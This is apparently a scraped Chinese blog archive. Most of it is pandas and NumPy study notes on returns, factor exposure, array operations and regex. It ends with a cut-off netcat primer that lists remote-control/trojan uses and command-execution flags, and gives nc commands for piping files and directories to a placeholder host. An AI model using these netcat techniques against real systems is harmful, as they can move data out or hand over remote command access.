    4
    5
    6
    7
    import pandas.io.data as web
    #price = web.get_data_yahoo('AAPL', '2011-01-01')['Adj Close']
    price = web.get_data_yahoo('AAPL', '2011-01-01', '2012-07-27')['Adj Close']
    print price[-5:]

    #计算两点之间的累计百分比回报,只需计算价格的百分比即可
    print price['2011-10-03'] / price['2011-3-01'] - 1
    1
    2
    3
    4
    5
    6
    7
    8
    9
    #+RESULTS:
    : Date
    : 2012-07-23 78.974527
    : 2012-07-24 78.593927
    : 2012-07-25 75.199948
    : 2012-07-26 75.188178
    : 2012-07-27 76.532688
    : Name: Adj Close, dtype: float64
    : 0.0723998875455
  3. 计算某只股票上赚了多少,通常都会先计算一个收益指数

    1. 收益指数为一个表示单位投资(比如1美元)收益的时间序列

    2. 从收益指数中可以得出很多假设,列如,人们可以决定是否进行利润在投资

    3. 可以利用cumprod计算一个简单的收益指数

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      returns = price.pct_change() #转化成百分比
      ret_index = (1 + returns).cumprod()
      ret_index[0] = 1 #将第一个值设置为1,因为元数据是NAN值
      print ret_index[:5]
      print ret_index[-5:]
      print

      #计算指定时期内的累积收益
      m_returns = ret_index.resample('BM', how = 'last').pct_change()
      print m_returns['2012']
      print

      #使用重采样聚合(聚合为时期)从日百分比变化中计算
      m_rets = (1 + returns).resample('M', how = 'prod', kind = 'period') - 1
      print m_rets['2012']


      #如果知道了股息的派发日和支付率,就可以将他们计入每日总收益
      #returns[dividend_dates]+= dividend_pcts
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      Date
      2011-01-03 1.000000
      2011-01-04 1.005219
      2011-01-05 1.013442
      2011-01-06 1.012622
      2011-01-07 1.019874
      Name: Adj Close, dtype: float64
      Date
      2012-07-23 1.832175
      2012-07-24 1.823345
      2012-07-25 1.744607
      2012-07-26 1.744334
      2012-07-27 1.775526
      Name: Adj Close, dtype: float64

      Date
      2012-01-31 0.127111
      2012-02-29 0.188311
      2012-03-30 0.105283
      2012-04-30 -0.025970
      2012-05-31 -0.010702
      2012-06-29 0.010853
      2012-07-31 0.001986
      Freq: BM, Name: Adj Close, dtype: float64

      Date
      2012-01 0.127111
      2012-02 0.188311
      2012-03 0.105283
      2012-04 -0.025970
      2012-05 -0.010702
      2012-06 0.010853
      2012-07 0.001986
      Freq: M, Name: Adj Close, dtype: float64

分组变换和分析

以一组假象的股票投资组合为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#随机生成1000个股票代码
import random; random.seed(0)
import string
N = 1000
def rands(n):
choices = string.ascii_uppercase
return ''.join([random.choice(choices) for _ in xrange(n)])
tickers = np.array([rands(5) for _ in xrange(N)])

#创建一个含有3列的DF来承载这些假象数据,只选择部分股票组成该投资组合
M = 500
df = pd.DataFrame({'Momentum': np.random.randn(M) / 200 + 0.03,
'Value': np.random.randn(M) / 200 + 0.08,
'ShortInterest': np.random.randn(M) / 200 - 0.02},
index = tickers[:M])

#为这些股票随机创建一个行业分类
ind_names = np.array(['FINANCIAL', "TECH"])
sampler = np.random.randint(0, len(ind_names), N)
industries = pd.Series(ind_names[sampler], index = tickers, name = 'industry')

#根据行业分类进行分组并执行分组聚合和变换
by_industry = df.groupby(industries)
print by_industry.mean()
print
print by_industry.describe()
print
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
           Momentum  ShortInterest     Value
industry
FINANCIAL 0.029778 -0.020064 0.080267
TECH 0.030263 -0.020966 0.080098

Momentum ShortInterest Value
industry
FINANCIAL count 226.000000 226.000000 226.000000
mean 0.029778 -0.020064 0.080267
std 0.005149 0.005331 0.005377
min 0.019214 -0.032026 0.068041
25% 0.026270 -0.023680 0.076523
50% 0.029670 -0.020347 0.079970
75% 0.032949 -0.016603 0.083983
max 0.045221 -0.005803 0.094716
TECH count 274.000000 274.000000 274.000000
mean 0.030263 -0.020966 0.080098
std 0.005355 0.004907 0.005124
min 0.011778 -0.036318 0.067021
25% 0.026939 -0.024434 0.076484
50% 0.030419 -0.020622 0.080316
75% 0.033820 -0.017633 0.083618
max 0.048204 -0.006882 0.091509
  1. 要对这些按行业分组的投资组合进行各种变换,可以编写自定义的变换函数

  2. 列如行业内标准处理,它广泛用于股票资产投资组合的构建过程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    def zscore(group):
    return (group - group.mean()) / group.std()
    df_stand = by_industry.apply(zscore)
    print df_stand.groupby(industries).agg(['mean', 'std']) #处理过后,各行业的平均值为0, 标准差为1
    print

    #内置变换函数(如rank)的用法会更简洁一些
    # 行业内降序排名
    ind_rank = by_industry.rank(ascending = False)
    print ind_rank.groupby(industries).agg(['min', 'max'])
    print

    #通过将rank和zscore链接在一起即可完成整个变换过程
    #行业内排名和标准化
    print by_industry.apply(lambda x : zscore(x.rank()))
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
                   Momentum      ShortInterest              Value
    mean std mean std mean std
    industry
    FINANCIAL 6.047277e-16 1.0 2.853175e-15 1.0 -1.365673e-16 1.0
    TECH -1.950589e-15 1.0 5.267482e-16 1.0 1.656866e-14 1.0

    Momentum ShortInterest Value
    min max min max min max
    industry
    FINANCIAL 1.0 226.0 1.0 226.0 1.0 226.0
    TECH 1.0 274.0 1.0 274.0 1.0 274.0

    Momentum ShortInterest Value
    VTKGN 0.114706 0.558234 0.481764
    KUHMP -1.552350 0.879410 -0.084117
    XNHTQ -0.451175 -1.674702 -1.231174
    GXZVX 1.001763 0.068823 1.506467
    ISXRM 0.527646 0.588822 -0.313529
    CLPXZ 1.705290 1.644114 -1.384115
    MWGUO -0.170366 0.548957 -0.422760
    ASKVR 0.206470 1.460585 0.772351
    AMWGI -1.644114 0.344117 -1.429997
    WEOGZ -0.485858 -0.233464 -0.738252
    ULCIN -1.353526 1.598232 -1.017057
    YCOSO 0.927548 0.372281 -0.599436
    VOZPP 0.094648 -0.018930 -0.687774
    LPKOH -0.894704 -0.818234 1.062939
    EEPRM -1.646871 -1.104224 -0.662534
    CTWYV -0.599436 -1.003266 -0.460619
    XYOKS 0.022941 -0.160588 -0.527646
    HVWXP 1.231174 1.659408 -0.282941
    YPLRZ 1.066365 1.280899 -1.457575
    XUCPM -0.347042 -0.637295 -1.545913
    QVGTD -0.971174 1.689996 1.154703
    FUIVC -0.145127 -0.309183 -1.078984
    DSBOX -0.588822 0.099412 -0.971174
    NRAQP 1.521761 0.405293 1.368821
    OKJZA 1.338232 -0.879410 0.542940
    AYEDF 0.700393 -0.561577 1.243040
    UYALC -1.445291 -1.506467 -1.460585
    GFQJE 1.292350 0.313529 -0.802939
    NBCZF 1.003266 1.520674 1.407096
    JTVXE -0.435380 -0.296563 -1.343998
    ... ... ... ...
    XLKXN 1.255660 0.334422 -0.624675
    TEBLI -0.619410 -1.628820 1.353526
    NIWTJ 0.282941 0.649999 0.497058
    DSODA -0.788731 -1.684730 -0.384901
    QNOKM 1.205181 -1.571153 1.457575
    KCNDR 1.432336 0.410140 1.495434
    TEFGP 0.848822 1.001763 -1.277056
    KXONF -0.965407 1.306139 -0.574196
    CYCDF -0.713013 -0.599436 -0.182986
    OQLKQ -0.296563 -0.056789 -0.725633
    GUQPA 0.665293 -1.689996 -1.261762
    ITFQZ -0.750872 0.750872 -1.432336
    LNFAG 0.056789 1.078984 -0.990646
    MPVHI 0.498478 1.205181 0.372281
    SRSWC 0.940586 0.084117 -0.986468
    DMPRF -1.179942 -0.157746 -1.381857
    DXGAH 0.344117 -1.613526 0.741763
    NQTDN 0.182986 -0.271324 -0.044169
    ISJVE 0.082028 -0.170366 1.053745
    ZNLSJ 0.466470 1.108821 -1.537055
    ALHRN -0.374705 -1.307644 -0.130000
    VMEDO -1.571153 -0.069408 -0.813971
    GFYDX 0.940168 -1.116843 -0.334422
    NYVHM -1.091604 -0.006310 -1.293519
    CJYCG -0.573528 -0.864116 -0.894704
    BWRPM -0.056789 -1.659490 0.309183
    GPSUE -1.047645 -1.644114 1.429997
    QRPSN -0.772351 -1.338232 -0.359411
    YQQAD 1.318759 -0.574196 1.015886
    PTDQE -0.328823 -0.711175 0.955880

    [500 rows x 3 columns]

分组因子暴露

  1. 因子分析(factor analysis)是投资组合定量管理中的一种技术

  2. 投资组合的持有量和性能(收益和损失)可以被分解为一个或多个表示投资组合权重的因子(风险因子就是其一)

  3. 列如,某只股票的价格与某个基准(比如标准普尔500指数)的协动性被称作贝塔风险系数

  4. 下面以一个人为构成的投资组合为例,它由三个随机生成的因子(因子载荷)和一些权重构成

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    from numpy.random import rand
    fac1, fac2, fac3 = np.random.rand(3, 1000)
    ticker_subset = tickers.take(np.random.permutation(N)[:1000])

    #因子加权和以及噪声
    port = pd.Series(0.7 * fac1 - 1.2 * fac2 + 0.3 * fac3 + rand(1000),
    index = ticker_subset)
    factors = pd.DataFrame({'f1': fac1, 'f2': fac2, 'f3': fac3},
    index = ticker_subset)


    #各因子与投资组合之间的矢量相关性
    print factors.corrwith(port)
    print

    #计算因子暴露的标准方法是最小二乘回归, 使用pandas.ols(将factors作为解释变量)
    #j计算出整个投资组合的暴露
    print pd.ols(y = port, x = factors).beta
    print

    #因为没有给投资组合添加过多的随机噪声,所以原始的因子权重基本可以恢复,还可以通过groupby计算各行业的暴露量
    #为了达到这个目的,先编写一个函数
    def beta_exposure(chunk, factors = None):
    return pd.ols(y = chunk, x = factors).beta
    #根据行业进行分组,并应用该函数,传入因子载荷的dataFrame
    by_ind = port.groupby(industries)
    exposures = by_ind.apply(beta_exposure, factors = factors)
    print exposures.unstack()

十分位和四分位分析

Chapter 12: NUMPY高级应用

ndarray对象的内部机理

ndarray内部由以下内容组成

  • 一个指向数组(一个系统内存块)的指针
  • 数据类型或dtype
  • 一个表示数组形状(shanpe)的元组就是shape属性
  • 一个跨度元组(stride),其中的整数指的是为了前进到当前维度下一个元素需要”跨过”的字节数

    • 列如一个典型的(C顺序)3 X 4 X
      5的float64(8个字节)数组,其跨度为(160, 40, 8)
    • 其中8为 8字节, 40为 8 * 5, 160为 8 * 5 * 4

      1
      print np.ones((3,4,5),dtype = np.float64).strides
      1
      (160L, 40L, 8L)

Numpy数据类型体系

  1. 检查数组中所包含的是否是整数、浮点数、字符串或python对象

  2. dtype有一个超类(np.integer
    np.floating)他们可以跟np.issubdtype函数结合使用

    1
    2
    3
    4
    ints = np.ones(10, dtype = np.uint16)
    floats = np.ones(10, dtype = np.float32)
    print np.issubdtype(ints.dtype, np.integer)
    print np.issubdtype(floats.dtype, np.floating)
    1
    2
    3
    #+RESULTS:
    : True
    : True

高级数组操作

  1. 数组重塑

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    arr = np.arange(8)
    print arr
    print
    print arr.reshape(4,2)
    print

    #多重数组也能被重塑
    print arr.reshape(4,2).reshape(2,4)
    print

    #作为参数的形状的其中一维可以使-1,它代表该维度的大小由数据本身推断而来
    arr = np.arange(15)
    print arr.reshape(5,-1)
    print

    #由于数组的shape属性是一个元组,因此它也可以传入reshape
    other_arr = np.ones((3,5))
    print other_arr
    print

    print arr.reshape(other_arr.shape)
    print

    #与reshape将一维数组转换为多维数组的运算相反的运算称为扁平化(flattening)或散开(raveling)
    arr = np.arange(15).reshape(5,3)
    print arr
    print
    print arr.ravel() #ravel不会产生元数据的副本
    print
    print arr.flatten() #flatten的行为类似于ravel,但是它总是返回数据的副本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    [0 1 2 3 4 5 6 7]

    [[0 1]
    [2 3]
    [4 5]
    [6 7]]

    [[0 1 2 3]
    [4 5 6 7]]

    [[ 0 1 2]
    [ 3 4 5]
    [ 6 7 8]
    [ 9 10 11]
    [12 13 14]]

    [[ 1. 1. 1. 1. 1.]
    [ 1. 1. 1. 1. 1.]
    [ 1. 1. 1. 1. 1.]]

    [[ 0 1 2 3 4]
    [ 5 6 7 8 9]
    [10 11 12 13 14]]

    [[ 0 1 2]
    [ 3 4 5]
    [ 6 7 8]
    [ 9 10 11]
    [12 13 14]]

    [ 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14]

    [ 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14]
  2. C和Fortran顺序

    1. 行和列优先顺序分别称为C和Fortran顺序

    2. reshape和reval这样的函数,都可以接受一个表示数组数据存放顺序的order参数

      1. 一般可以使 “C” “F”等

        1
        2
        3
        4
        5
        6
        arr = np.arange(12).rshape((3,4))
        print arr
        print arr.ravel()
        print
        print arr.ravel('F')
        print
    3. 二维或更高维数的重塑过程比较难,C和Fortran顺序的关键区别就是维度的行进顺序

      • C/行优先顺序:先经过更高的维度(列如,轴1会先于轴0被处理)
      • Fortran/列优先顺序:
        后经过更高对的维度(列如,轴0会优先轴1被处理)
  3. 数组的合并和拆分

    1. numpy.concatenate可以按指定轴将一个数组组成的序列连接到一起

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      arr1 = np.array([[1,2,3], [4,5,6]])
      arr2 = np.array([[7,8,9], [10, 11, 12]])
      print np.concatenate([arr1, arr2], axis = 0)
      print
      print np.concatenate([arr1, arr2], axis = 1)
      print

      #对于常见的连接操作,NumPy提供了一些比较方便的方法(vstack hstack)
      print np.vstack((arr1, arr2))
      print
      print np.hstack((arr1, arr2))
      print

      #split则将一个数组沿着指定轴拆分为多个数组
      from numpy.random import randn
      arr = randn(5,2)
      print arr
      first, second, third = np.split(arr, [1,3])
      print first
      print
      print second
      print
      print third
      print
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      [[ 1  2  3]
      [ 4 5 6]
      [ 7 8 9]
      [10 11 12]]

      [[ 1 2 3 7 8 9]
      [ 4 5 6 10 11 12]]

      [[ 1 2 3]
      [ 4 5 6]
      [ 7 8 9]
      [10 11 12]]

      [[ 1 2 3 7 8 9]
      [ 4 5 6 10 11 12]]

      [[-0.23461861 1.40157661]
      [-0.7095222 1.58978999]
      [ 0.79123076 -0.21607249]
      [-0.37967201 0.66574423]
      [ 1.188882 0.36979158]]
      [[-0.23461861 1.40157661]]

      [[-0.7095222 1.58978999]
      [ 0.79123076 -0.21607249]]

      [[-0.37967201 0.66574423]
      [ 1.188882 0.36979158]]
    2. 数组 连接函数

      | 函数 | 说明 |
      |———————————|————————————————————————-|
      | concatenate | 最一般化的连接,沿一条轴连接一组数组 |
      | vstack, row~stack~ | 以面向行的方式对数组进行堆叠(沿轴0) |
      | hstack | 以面向列的方式对数组进行堆叠(沿轴1) |
      | column~stak~ | 类似于hstack,但是会先将一维数组转化成二维列向量 |
      | dstack | 以面向”深度”的方式对数据进行堆叠(沿轴2) |
      | split | 沿指定轴在指定的位置拆分数组 |
      | hsplit vsplit dsplit | split的便捷函数,分别沿轴0,1,2进行拆分 |

    3. 堆叠辅助类r~和c~_

      1. NumPy命名空间中有两个特殊的对象 r~和~
        c_,他们可以使数组的堆叠操作更为简洁

        1
        2
        3
        4
        5
        6
        7
        arr = np.arange(6)
        arr1 = arr.reshape((3,2))
        arr2 = randn(3,2)
        print np.r_[arr1, arr2]
        print
        print np.c_[np.r_[arr1, arr2], arr]
        print
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        [[ 0.          1.        ]
        [ 2. 3. ]
        [ 4. 5. ]
        [-1.28377882 0.02789502]
        [-0.3805641 2.72583374]
        [ 0.53381564 -1.28980722]]

        [[ 0. 1. 0. ]
        [ 2. 3. 1. ]
        [ 4. 5. 2. ]
        [-1.28377882 0.02789502 3. ]
        [-0.3805641 2.72583374 4. ]
        [ 0.53381564 -1.28980722 5. ]]
  4. 元素的重复操作: tile和repeat

    1. repeat会将数组中的各个元素重复一定次数,从而产生一个更大的数组

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      arr = np.arange(3)
      print arr.repeat(3)
      print
      #默认传入一个整数,则是各元素重复的次数,如果传入一组整数,则表示各元素可以重复的不同次数
      print arr.repeat([2,3,4])
      print
      arr = randn(2,2)
      print arr
      print

      print arr.repeat(2, axis = 0) #注意,如果没有设置轴向,则数组会扁平化
      print
      #在多维进行重复时,可以传入整数,对各切片重复不同次数
      print arr.repeat([2,3], axis = 0)
      print
      print arr.repeat([2,3], axis = 1)
      print

      #tile的功能是沿特定轴向堆叠数组的副本,可以想象成"铺瓷砖"
      print arr
      print
      print np.tile(arr, 2) #第二个参数是数量,对于标量,瓷砖是水平铺设的,而不是垂直
      #它可以是一个表示"铺设"布局的元组
      print arr
      print
      print np.tile(arr, (2,1))
      print
      print np.tile(arr, (3,2))
      print
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      [0 0 0 1 1 1 2 2 2]

      [0 0 1 1 1 2 2 2 2]

      [[-1.37933387 -0.06097814]
      [-2.41454401 -1.80084267]]

      [[-1.37933387 -0.06097814]
      [-1.37933387 -0.06097814]
      [-2.41454401 -1.80084267]
      [-2.41454401 -1.80084267]]

      [[-1.37933387 -0.06097814]
      [-1.37933387 -0.06097814]
      [-2.41454401 -1.80084267]
      [-2.41454401 -1.80084267]
      [-2.41454401 -1.80084267]]

      [[-1.37933387 -1.37933387 -0.06097814 -0.06097814 -0.06097814]
      [-2.41454401 -2.41454401 -1.80084267 -1.80084267 -1.80084267]]

      [[-1.37933387 -0.06097814]
      [-2.41454401 -1.80084267]]

      [[-1.37933387 -0.06097814 -1.37933387 -0.06097814]
      [-2.41454401 -1.80084267 -2.41454401 -1.80084267]]
      [[-1.37933387 -0.06097814]
      [-2.41454401 -1.80084267]]

      [[-1.37933387 -0.06097814]
      [-2.41454401 -1.80084267]
      [-1.37933387 -0.06097814]
      [-2.41454401 -1.80084267]]

      [[-1.37933387 -0.06097814 -1.37933387 -0.06097814]
      [-2.41454401 -1.80084267 -2.41454401 -1.80084267]
      [-1.37933387 -0.06097814 -1.37933387 -0.06097814]
      [-2.41454401 -1.80084267 -2.41454401 -1.80084267]
      [-1.37933387 -0.06097814 -1.37933387 -0.06097814]
      [-2.41454401 -1.80084267 -2.41454401 -1.80084267]]
  5. 花式索引的等价函数: take和put

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    arr = np.arange(10) * 100
    inds = [7,1,2,6]
    print arr[inds]
    print

    #ndarray有两个方法专门用于获取和设置单个轴向的选区
    print arr.take(inds)

    arr.put(inds, 42)
    print arr
    print
    arr.put(inds, [40, 41, 42, 43])
    print arr
    print

    #要在其他轴上使用take,只需传入axis关键字即可
    inds = [2, 0, 2, 1]
    arr = randn(2, 4)
    print arr
    print
    print arr.take(inds, axis = 1)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    [700 100 200 600]

    [700 100 200 600]
    [ 0 42 42 300 400 500 42 42 800 900]

    [ 0 41 42 300 400 500 43 40 800 900]

    [[-0.03295171 -0.33494885 0.15989473 -0.7112217 ]
    [-0.09916891 0.05100988 0.22046994 -0.28954971]]

    [[ 0.15989473 -0.03295171 0.15989473 -0.33494885]
    [ 0.22046994 -0.09916891 0.22046994 0.05100988]]
    1. put不接受axis参数,它只会在数据的扁平化版本(一维,
      C顺序)上进行索引(可能会改善)

广播

广播(broadcasting)是不同形状的数组之间的运算的执行方式

将标量和数组合并时,就会发生最简单的广播

1
2
3
4
5
6
7
8
9
10
11
12
arr = np.arange(5)
print arr
print
print arr * 4 #标量4被广播到了其他所有的元素上

#减去列平均值的方式对数组的每一列进行距平化处理
arr = randn(4,3)
print arr.mean(0)
demeaned = arr - arr.mean(0)
print demeaned
print
print demeaned.mean(0)
1
2
3
4
5
6
7
8
9
10
[0 1 2 3 4]

[ 0 4 8 12 16]
[ 0.56967576 0.24137098 -0.07590117]
[[-1.87739478 -0.93726326 0.09056369]
[ 0.83994529 0.77667778 -1.64973511]
[ 1.56661558 -0.19050461 0.75393501]
[-0.52916609 0.35109008 0.80523641]]

[ 0.00000000e+00 2.77555756e-17 5.55111512e-17]

广播的原则

  1. 如果两个数组的后缘维度(trailing
    dimension,从末尾开始算起的维度)的轴长度相符或其中一方的长度为1,则认为他们是广播兼容的

  2. 广播会在缺失和(或)长度为1的维度进行

aixs参数

axis区别图 就是假设n x
m的df,计算时,aixs=0表示的是n,计算行之间的,所以是跨行

1
2
3
4
5
6
7
8
9
10
import numpy as np
import pandas as pd
df = pd.DataFrame(np.array([1,2,3,4,5,6,7,8,9,10,11,12]).reshape(3,4))
print df
print ''
print df.mean(axis= 0) #跨行
print ''
print df.mean(axis = 1) #跨列
print ''
print df.drop(0,axis=1) #丢掉列中的0列

an(axis= 0) #跨行
print ‘’
print df.mean(axis = 1) #跨列
print ‘’
print df.drop(0,axis=1) #丢掉列中的0列

```

pandas-string-in-chapter7

发表于 2019-03-03 | 分类于 Data Science

字符串操作

1
2
3
4
5
6
7
import numpy as np
import pandas as pd
pd.options.display.max_rows = 20
np.random.seed(12345)
import matplotlib.pyplot as plt
plt.rc('figure', figsize=(10, 6))
np.set_printoptions(precision=4, suppress=True)

字符串方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#分割
val = 'a,b, guido'
print(val.split(','))

#分割和清空格
pieces = [x.strip() for x in val.split(',') ]
print(pieces)

#拼接子字符串
first,second,third = pieces #赋值
print(first + "::" + second + "::" + third)
#用方法拼接
print("::".join(pieces))


#查找子字符串
#确认是否在字符串里
print('guido' in val)
#查找index,没有的话会报错
print(val.index(','))
#查找字符,返回index,没有的话则是-1
print(val.find(':'))
print(val.find(','))

#计算出现的次数
print(val.count(','))

#替换
print(val.replace(',','::'))
1
2
3
4
5
6
7
8
9
10
['a', 'b', '  guido']
['a', 'b', 'guido']
a::b::guido
a::b::guido
True
1
-1
1
2
a::b:: guido

方法表

方法 描述
count 计算各字符出现的次数
endswitch 如果结束子字符串是suffix,则返回True
startswitch 如果开始子字符串是prefix,则返回True
join 用自身字符串为分隔符,添加一组字符串
index 返回子字符串首字母的index位置,没找到则报错
find 返回子字符串首字母的index位置,没找到则返回-1
rfind 从右边开始查找,返回最末字母的位置
replace 替换
strip 消除两边的空白
rstrip 消除右边的空白
lstrip 消除左边的空白
split 根据分隔符分离
lower 小写
upper 大写
casefold 将字符转换为小写,并将任何特定于区域的变量字符组合转换为通用的可比较形式
ljust 左对齐,并用空格(或其他字符)填充另一侧
rjust 右对齐,并用空格(或其他字符)填充另一侧

正则

1
2
3
4
5
6
7
8
9
10
11
12
import re
text = "foo bar\t baz \tqux"
#re.split会自动编译正则表达式,之后在切分
#\s+为任何空白字符
print(re.split('\s+', text))

#自己编译后切分
regex = re.compile('\s+')
print(regex.split(text))

#找到所有空白处
print(regex.findall(text))

findall匹配所有,search只返回第一次匹配,mathc只匹配str的开头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
text = """Dave dave@google.com
Steve steve@gmail.com
Rob rob@gmail.com
Ryan ryan@yahoo.com
"""
pattern = r'[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}'

#re.IGNORECASE为不关心大小写
regex= re.compile(pattern,flags=re.IGNORECASE)

#findall
print(regex.findall(text))
#search
m = regex.search(text) #返回一个特殊match对象
print(m.start(),m.end())
print(text[m.start():m.end()]) #得到搜到的字符串

#match会匹配开头,如果开头不是所要匹配的则是None
print(regex.match(text))

#sub则会返回一个匹配字符被代替的新字符串
print(regex.sub('REDACTED',text)) #邮箱被指定的字符串代替


#re的分组,用()进行分组
pattern = r'([A-Z0-9._%+-]+)@([A-Z0-9.-]+)\.([A-Z]{2,4})'
regex = re.compile(pattern,flags=re.IGNORECASE)
m = regex.match('wesm@bright.net')
print(m.groups())
print(regex.findall(text))
#sub可以用\1 \2等特殊字符来访问匹配的group
print(regex.sub(r'Username: \1, Domain: \2, Suffix: \3', text))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
['dave@google.com', 'steve@gmail.com', 'rob@gmail.com', 'ryan@yahoo.com']
5 20
dave@google.com
None
Dave REDACTED
Steve REDACTED
Rob REDACTED
Ryan REDACTED

('wesm', 'bright', 'net')
[('dave', 'google', 'com'), ('steve', 'gmail', 'com'), ('rob', 'gmail', 'com'), ('ryan', 'yahoo', 'com')]
Dave Username: dave, Domain: google, Suffix: com
Steve Username: steve, Domain: gmail, Suffix: com
Rob Username: rob, Domain: gmail, Suffix: com
Ryan Username: ryan, Domain: yahoo, Suffix: com

正则表达式方法

方法 说明
findall 匹配所有,返回list
finditer 返回的是迭代
match 匹配开头,并且可以分组,匹配不成功返回None
search 匹配一次,返回对应的对象,可以匹配任意位置
split 根据regex来切分
sub,subn 代替匹配到的内容,可以用\\1 \\2等来表示group

矢量化字符串函数

1
2
3
4
5
6
7
8
9
10
11
data = {'Dave': 'dave@google.com', 'Steve': 'steve@gmail.com',
'Rob': 'rob@gmail.com', 'Wes': np.nan}
data = pd.Series(data)
print(data)
print(data.isnull())

#为了处理NaN,使用series的st属性
print(data.str.contains('gmail'))

#str有同样的re方法
print(data.str.findall(pattern,flags=re.IGNORECASE))

矢量化字符串操作方法

方法 描述
cat 选择分隔符进行连接,sep指定分隔符
contains 返回一个bool,确定是否含有所填的子字符串或正则
count 计算子字符串出现次数,pat指定正则或者字符串
extract 使用正则的group,得到一个或多个字符串,并以每个group为列的df
endswitch 对每个元素用 x.endswith(pattern)
startswitch 对每个元素用 x.startswith(pattern)
findall 正则查找所有的元素
get 得到每个元素对应index的值,参数为int,超出index不会报错,返回NaN
isalnum 检测是否每个元素是字母和数字组成的
isalpha 检测是否每个元素是字母组成的
isdecimal 检测是否每个元素是数字
isdigit 检测是否每个元素是数字,包含一些特殊数字列如unicode的上下标数字
islower 检测是否每个元素是小写的
isnumeric 检测是否每个元素是数字
isupper 检测是否每个元素是大写的
join 在每个字符串中的每个元素之间添加分隔符
len 计算每个字符串的长度
lower,upper 把每个字符串变大写或小写
match 和正则match一样
pad 给个数字,添加空格到对应的长度,fillchar添加的字符,默认空格;size添加位置,默认left
center 等同于pad(size=’both’)
repeat 重复次数
replace 替换
slice 切片,start,stop,step
split 根据正则或分隔符进行分割
strip 两边去空格
rstrip 左边去空格
lstrip 右边去空格
1
2
3
4
5
6
7
8
data = {'Dave': 'dave@google.com', 'Steve': 'steve@gmail.com',
'Rob': 'rob@gmail.com', 'Wes': np.nan}
data = pd.Series(data)
print(data.str.cat(sep='|'))
print(data.str.contains('gmail'))
print(data.str.count('\w+'))
print(data.str.extract("(\w+)@(\w+)"))
print(data.str.join("|"))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
dave@google.com|steve@gmail.com|rob@gmail.com
Dave False
Steve True
Rob True
Wes NaN
dtype: object
Dave 3.0
Steve 3.0
Rob 3.0
Wes NaN
dtype: float64
0 1
Dave dave google
Steve steve gmail
Rob rob gmail
Wes NaN NaN
Dave d|a|v|e|@|g|o|o|g|l|e|.|c|o|m
Steve s|t|e|v|e|@|g|m|a|i|l|.|c|o|m
Rob r|o|b|@|g|m|a|i|l|.|c|o|m
Wes NaN
dtype: object

netcat

发表于 2019-03-02 | 分类于 hack , web

功能

  • 侦听/传输模式
  • telnet/获取banner信息
  • 传输文本信息
  • 传输文件/目录
  • 加密传输文件
  • 远程控制/木马
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆评判

命令

  1. -nv n直接ip地址,不解析dns v详细输出
  2. -l -p port -l开启监听模式 -p指定端口

可以使用 -nv ip port 连接上开启监听模式的ip,进行聊天
在客户端,可以用命令 | nc -nv ip port 来直接传送命令反馈给服务端

  1. -q secs q为 secs秒后断开连接 mac版本没有
  2. -z 为扫描模式,不会有i/o交换
  3. -zu udp端口探测
  4. -c linux中是执行命令
  5. -e mac中是执行命令

传输文件/目录

  • 客户端传1.mp4给服务器
    服务器: nc -lp 333 > 1.mp4
    客户端: nc -nv 1.1.1.1 333 < 1.mp4 - q 1
  • 客户端接收文件
    服务端:nc -q 1 -lp 333 < a.mp4
    客户端:nc -nv 1.1.1.1 333 > 2.mp4
  • 传输目录
    服务端: tar -cvf - music/ | nc -lp 333 -q 1
    客户端: nc -nv 1.1.1.1 333 | tar -xvf -
  • 加密传文件
    客户端传加密文件给服务端
